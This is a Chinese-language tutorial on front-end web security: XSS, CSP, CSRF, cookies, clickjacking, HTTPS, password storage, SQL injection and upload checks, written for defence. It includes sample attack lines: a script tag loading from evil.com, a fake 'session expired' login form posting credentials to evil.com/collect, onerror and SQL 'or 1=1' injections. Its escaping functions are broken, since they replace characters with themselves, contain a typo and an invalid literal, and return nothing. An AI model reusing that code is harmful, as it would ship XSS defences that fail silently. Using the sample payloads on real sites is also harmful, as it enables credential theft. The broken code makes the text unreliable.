第一章 常见的前端攻击及防御
1. XSS
1.1 XSS攻击
- 含义
XSS全称为“Cross Site Scripting”,跨站脚本攻击。如当前网站中运行了来自其他网站的恶意脚本。
每一个页面显示都符合一个公式:程序 + 数据 = 结果,当数据被程序恶意代替时,就会出现所谓的XSS攻击。
- 安全漏洞
- 通过XSS获取页面数据,从而偷取网站任意数据
- 通过XSS获取Cookies,从而偷取用户信息
- 通过XSS劫持前端逻辑,从而偷取用户密码和登录状态
- 通过XSS发送请求,从而欺骗用户
- 分类
- 反射型:攻击代码通过url参数注入,当用户访问路径时攻击,用户有感知
- 存储型:攻击代码被存储到数据库中,当用户读取时攻击,用户无感知
- 常见的攻击注入点
- HTML节点内容
当节点内容中嵌套了恶意的、可执行的代码逻辑
<div>
<script>...这是攻击内容...</script>
</div>
- HTML节点属性
当节点的某个属性是通过用户输入值决定的,且用户输入了恶意的内容“1" onerror="...这里是恶意代码...”,如两个引号等
<img src="1" onerror="...这里是恶意代码..." />
- JavaScript代码
当script标签内有用户恶意输入的代码逻辑
<script>
var data = "hello";alert(1);"";
</script>
- 富文本
如邮箱正文编辑器一样,可以对内容进行多种多样的样式设置等容器成为富文本编辑器,生成的内容被称为富文本,富文本的形式是一串HTML结构的代码,同时也具备了HTML的攻击注入点
<div>
<p>
<span>... 这里是恶意代码 ...</span>
</p>
</div>
1.2 XSS防御
现代浏览器本身具备XSS防御的特点,但是仅仅针对的是HTML节点内容和属性的防御,缺乏对于JavaScript代码和富文本的防御。
为了提高浏览器的安全性能,以下介绍几种XSS防御手段。
1)针对HTML节点内容
防御:对用户输入的“<”和“>”进行转译,<转译为<,>转译为>
时机:用户输入完成,页面展示前;存储到数据库前
2)针对HTML属性
防御:对用户输入中的“""”进行转译,""转译为&quto;,''转译为',空格转译为 
时机:用户输入完成,页面展示前;存储到数据库前
手动封装一个转译函数如下:
const escapeHtml = function(str){
if(!str) return;
str = str.replace(/&/g,'&');
str = str.replace(/</g,'<');
str = str.replace(/>/g,'>');
str = str.replace(/"/g,'&quto;');
str = str.replace(/'/g,''');
str = str.replace(/ /g,' ');
}
3)针对JavaScript代码
防御:对代码中的""进行转译或者使用JSON转换
时机:页面显示前
const escapeFromJS = function(str){
if(!str) return;
str = str.replace(/\\/g,'\\\\');
str = str.replace(/"/g,'\\"');
}
str = JSON.parse(JSON.stringify(str));
4)针对富文本
防御:按照名单过滤恶意标签和属性、按照白名单保留部分标签和属性
时机:页面展示前
手动封装一个过滤函数如下:
const xssFilter = function(html){
if(!html) return '';
html = html.replace(/<\s*\/?script\s*>/g,'');
... ...
}
利用白名单保留标签和属性:
const xssFilter = function(html){
if(!html) return '';
// 创建属性白名单
const whiteList = {
'img':['src'],
'div':['style','class']
... ...
}
// 将输入内容转为DOM结构
const cheerio = require('cheerio');
const $ = cheerio.load(html);
// 对转换后的DOM结构进行过滤
$('*').each((index,elem)=>{
// 不满足要求的标签直接删除
if(!whiteList[elem.name]){
$(elem).remove();
return;
}
for(const attr in elem.attribs){
// 不在标签规定内的属性直接删除
if(whiteList[elem.name].indexOf(attr) === -1){
$(elem).attr(attr,null);
}
}
})
return $.html();
}
目前有很多现成的XSS白名单过滤的插件供使用,ueditor富文本编辑器内部也封装了XSS白名单过滤功能。
1.3 CSP策略
CSP全称为“Content Security Policy”,内容安全策略。用于指定哪些内容是可以被执行的。
XSS攻击产生的原因多半是浏览器执行了恶意的代码,而CSP可以控制页面中哪些部分可以被执行,就可以将用户输入的不可控内容标记为不能执行,从而从根源上避免XSS攻击。
开启CSP策略,需要在HTTP响应头中添加Content-Security-Policy属性,并设置响应的值。
Content-Security-Policy: ...
1)CSP可以防御的XSS攻击类型:
- 限制内联脚本
// 阻止页面执行恶意的内联脚本
<script>
alert("XSS)
</script>
- 限制远程脚本
// 阻止页面从任意服务器加载脚本
<script src="https://evil.com/hacked.js"></script>
- 限制不安全的JavaScript
// 阻止页面执行text-to-JavaScript函数
var op1 = getUrlParameter('op1')
var op2 = getUrlParameter('op2')
var sum = eval(`${op1} + ${op2}`)
console.log(`The sum is: ${sum}`)
- 限制表单提交
// 限制网站上的HTML表单提交其数据的位置
<form method="POST" action="https://evil.com/collect">
<h3>Session expired! Please login again.</h3>
<label>Username</label>
<input type="text" name="username" />
<label>Password</label>
<input type="password" name="pass" />
<input type="Submit" value="Login" />
</form>
- 限制HTML对象标签内容注入攻击
- 限制基础URI注入攻击
2)CSP策略部分指令制定
- default-src:默认加载策略
Content-Security-Policy: default-src 'none'
- from-action:规定网站可以提交表单的位置
// 只允许提交表单到相同源的地址
Content-Security-Policy: form-action 'self'
- frame-ancestors:针对frame的加载策略
// 仅允许页面由来自同一来源的其他页面框住
Content-Security-Policy: frame-ancestors 'self'
- style-src:针对style的加载策略
// 允许加载相同源和https://fonts.googleapis.com/网站的css文件
Content-Security-Policy: style-src'self' https://fonts.googleapis.com/
- img-src:针对图片的加载策略
// 允许加载当前源和URL的图片数据
Content-Security-Policy: img-src 'self' data:
- script-src:对JavaScript的加载策略
// 允许从与页面相同源和特定域加载脚本
Content-Security-Policy:script-src 'self' https://scripts.normal-website.com
2. CSRF
2.1 CSRF攻击
CSRF全称为“Cross Site Request Forgery”跨站域请求伪造。如在其他第三方网站对目标网站发起攻击。
1)CSRF攻击产生的原理:
- 用户登录a网站
- a网站对用户身份进行认证
- 第三方利用a网站认证过的用户的信息,在b网站发起恶意请求
CSRF在用户不知情的情况下,利用用户登陆状态完成业务请求。CSRF攻击严重情况下会造成用户资金损失等。
2.2 CSRF特征
- 跨域:由b网站向a网站发起请求
- 携带cookies:b网站获取了a网站的cookies
- 不经过a网站前端:用户访问的是b网站前端
- referer标识:HTTP请求头中的referer标识为b网站地址,表示请求来源
2.3 CSRF防御
- same-site:禁止第三方网站携带Cookies,但是目前兼容性不高
cookie.set(
'uesrId',
user.id,
{ httpOnly: true, sameSite: 'strict'}
)
- a网站前端添加验证码,对用户交互不太友好
前端利用插件生成随机验证码,前端在请求后台时携带该验证码,后台对验证码进行验证,验证通过才能往下执行,验证不通过则抛出错误。
- a网站前端添加token,用户无感知
用户在a网站登录成功后,会生成一个唯一的token字符串,在之后的每一次请求中都会携带token,由后台验证,验证通过才能执行下一步操作。
- 验证referer,拒绝第三方网站的请求
request请求头中包含一个referer属性,会记录请求来源网站ip,后端可以对该字段进行校验,从而阻止第三方网站的恶意攻击。
3. Cookies
3.1 Cookies特性
- Cookies数据存储在前端,大小约为4kb
- 后端通过HTTP响应头设置Cookies
- 前端请求时在HTTP请求头中携带Cookies
- 前端可以通过JS对Cookies进行读写操作
- Cookies受浏览器同源策略的限制
3.2 Cookies组成
- 域名Domain: 限制可使用的域名
- 有效期Expires:失效时间
- 路径Path:可访问的层级
- HttpOnly:只能通过HTTP发送和接收中使用,不能通过JS读写
- Secure:只能在https协议中使用
- SameSite:是否允许第三方网站使用
3.3 Cookies作用
- 存储用户个性化设置
- 存储用户未登录时的唯一标识
- 存储已登录用户的凭证
- 存储业务逻辑数据
1)Cookies存储用户登录凭证
第一步:用户在前端提交了用户名和密码
第二步:后端对用户名和密码进行校验
第三步:后端校验通过后,在HTTP响应头中添加set-cookies字段,标识用户凭证
第四步:前端拿到set-cookies里面的信息并保存到本地,在后续访问时携带上Cookies
2)用户登录凭证分类
- 用户ID:明文传输,容易被篡改
- 用户ID+签名:签名由算法生成的密文,不容易被恶意解析,安全性提高
- SessionId:后端生成一个sessionId,并将其通过Cookies返回给前端,前端在之后的请求时通过Cookies携带sessionId供后台校验,由于sessionId由后端生成,不容易被恶意篡改,所以安全性较高
3.4 XSS盗取Cookies
XSS可以通过JS脚本恶意盗取用户的Cookies信息,从而造成Web攻击。
可以通过设置Cookies中的HttpOnly,来禁止JS脚本获取。
set-cookies: httpOnly = true
3.5 CSRF利用Cookies
CSRF通过第三方网站向目标网站发起攻击时会利用目标网站的Cookies,从而造成Web攻击。
可以通过设置Cookies的sameSite,禁止第三方网站携带Cookies,但是目前该方式兼容性不高。
set-cookies: sameSite= 'strict'
3.6 Cookies安全性
Cookies存在的安全问题:
- Cookies被篡改
- Cookies被盗取
- Cookies被利用
Cookies的安全策略:
- 利用加密的签名防止Cookies被篡改
- 将用户ID进行加解密处理
- http-only防止XSS攻击
- secure限制HTTPS协议
- same-site防止CSRF攻击
4. 前端点击劫持
4.1 点击劫持
如在目标网站内嵌了一个iframe第三方网站,并将iframe的透明度设置为0,让用户无法感知iframe恶意网站的存在。诱导用户在不知情的情况下点击某个按钮,由于透明度不会阻止JS click事件的执行,从而造成的Web攻击。
<body style="background:url('click.png')">
<iframe style="opacity:0" src="http://www.baidu.com"></iframe>
</body>
4.2 点击劫持特点和危害
- 用户主动点击
- 用户并不知情
该攻击的危害:
- 如果已登陆,则可以获取 用户信息,从而可以完成各种请求操作
4.3 点击劫持防御
- 目标网站前端设置JavaScript禁止内嵌
- X-FRAME-OPTIONS禁止内嵌
在HTTP响应头中增加X-Frame-Options属性,防止前端点击劫持
X-Frame-Options: DENY // 该页面不允许在frame中展示,包括相同域名的页面中嵌套也不允许
X-Frame-Options: SAMEORIGIN // 该页面只允许可以在相同域名页面的frame中展示
- 其他辅助手段,如临时验证码
5. HTTP传输窃听
5.1 传输链路窃听篡改
HTTP在前端和后端间传输数据时可能会经过不止一个中间节点,每一个中间节点都可能对传输数据进行窃取和篡改。
1)HTTP窃听
传输链路中的每一环都可以获取request body中的用户信息数据。
- 窃取用户密码
- 窃取传输的敏感信息
2)HTTP篡改
传输链路中的每一个环都可以对传输数据进行数据的篡改,如运行商劫持、局域网劫持、公共wifi获取用户数据等。
- 在传输数据中插入广告
- 将用户请求重定向到恶意网站
- 无法防御的XSS攻击和CSRF攻击,如将转译后的代码重新恶意篡改等
5.2 HTTPS加密传输
HTTPS是建立在HTTP基础上的传输机制,在原来的基础上增加了一层TLS(SSL)层对传输数据进行加解密,从而防止明文传输导致的窃听漏洞。
浏览器和服务器通过第三方认证机构对双方身份进行验证,从而防止中间件进行窃听和篡改。
HTTPS的优点:
- CA证书无法造假,或者成本很高
- CA证书私钥不容易被泄露
- CA域名管理权不容易被泄露
- CA坚守原则
6. 密码安全
6.1 密码的作用
密码作为用户身份的凭证,通过对比用户输入密码和服务器存储密码的一致性,从而验证用户身份。
6.2 密码泄露
用户注册的密码一般存储在服务器端,而各种恶意的操作都有可能导致密码泄露。
- 数据库被窃取
- 服务器被恶意攻击
- 通讯数据被监听
- 内部人员泄露
- 遭到其他网站撞库
6.3 密码泄露防御
1)严禁明文存储
2)单向变换
典型代表是哈希算法,哈希算法具有“明文和密文一一对应原则、明文稍小的改变都会引发密文较大的变化原则(雪崩效应)、不能从密文反推明文的原则、密文长度固定原则”。常见的哈希算法有md5,sha1,sha256等。
3)变换复杂度要求
可以对用户密码进行多次单向变换,即多次md5转换等。
4)密码复杂度要求
限制密码的长度和组成、利用加盐进行密码增强等。
5)加盐
随机生成一个串,将串和密码进行拼接,从而增加密码的复杂度。
6.4 密码传输泄露防御
- https传输
- 登录频率限制,防止恶意猜解
- 前端密码加密传输,防止中间件获取明文密码,导致其他网站撞库
6.5 生物特征密码
一般用于移动端密码,包括唇纹、指纹、声纹、虹膜、人脸识别等。
但是生物特征具备很多缺点:
- 私密性低,易泄露
- 安全性低,易碰撞
- 唯一性,不能修改
7. 接入注入攻击
7.1 关系型数据库
常见的关系型数据有mysql、access、sqlite等,为了操作关系型数据发明了一些sql语言,类型于自然语言的标准语言,可以对数据库进行增删改查操作。
关系型数据库的特点:
- 存放结构化数据
- 高效操作大量数据
- 方便处理数据之间的关系
7.2 sql注入
根据用户输入信息,从数据库查询结果,由于用户恶意输入,使一部分数据变成了语句内容,导致的SQL语句注入攻击。
// 查询语句
select * from table where id = ${id}
// 恶意输入
select * from table where id = 1 or 1 = 1
SQL注入的危害有很多,如:
- 猜解密码
- 获取数据
- 删库删表
- 拖库
7.3 SQL注入防御
- 关闭后端错误提示信息
- 前端/后端检查输入数据类型,是否符合要求
- 前端/后端对输入数据进行转义,提高安全性
- 使用参数化查询,数据库将参数只作为参数,而不会成为语句的一部分
- 使用ORM(对象关系映射),市场上有很多线程的插件
8. 前端上传安全性
8.1 文件上传
用户上传文件时,具备以下特点:
- 用户上传,安全性待校验
- 上传成功后可以通过url访问
- 浏览器可能会将文件作为程序执行
针对以上问题,可以采取下列措施进行防御:
- 限制上传后缀,禁止上传程序,如.js
- 检查文件类型,如flies.type
- 检查文件头,如files[0]
- 程序输出,不去执行文件
- 权限限制,可写和可执行互斥
第二章 信息泄露
1. 信息泄露
信息泄露不是一种攻击,而是一类攻击,如泄露系统和用户的敏感信息,泄露用户密码等。通过错误信息失控、SQL注入、用户水平权限控制不当、XSS/CSRF等都会造成信息泄露。
2. OAuth思想
业界对于信息泄露,有一个很成熟的思想,称为OAuth,表示用户授权,经过用户授权后可以把凭证给到第三方,如微信授权。
OAuth思想的特点:
- 用户主动授权
- 不会泄露敏感信息
- 不会泄露未授权数据
- 用户授权具有有效期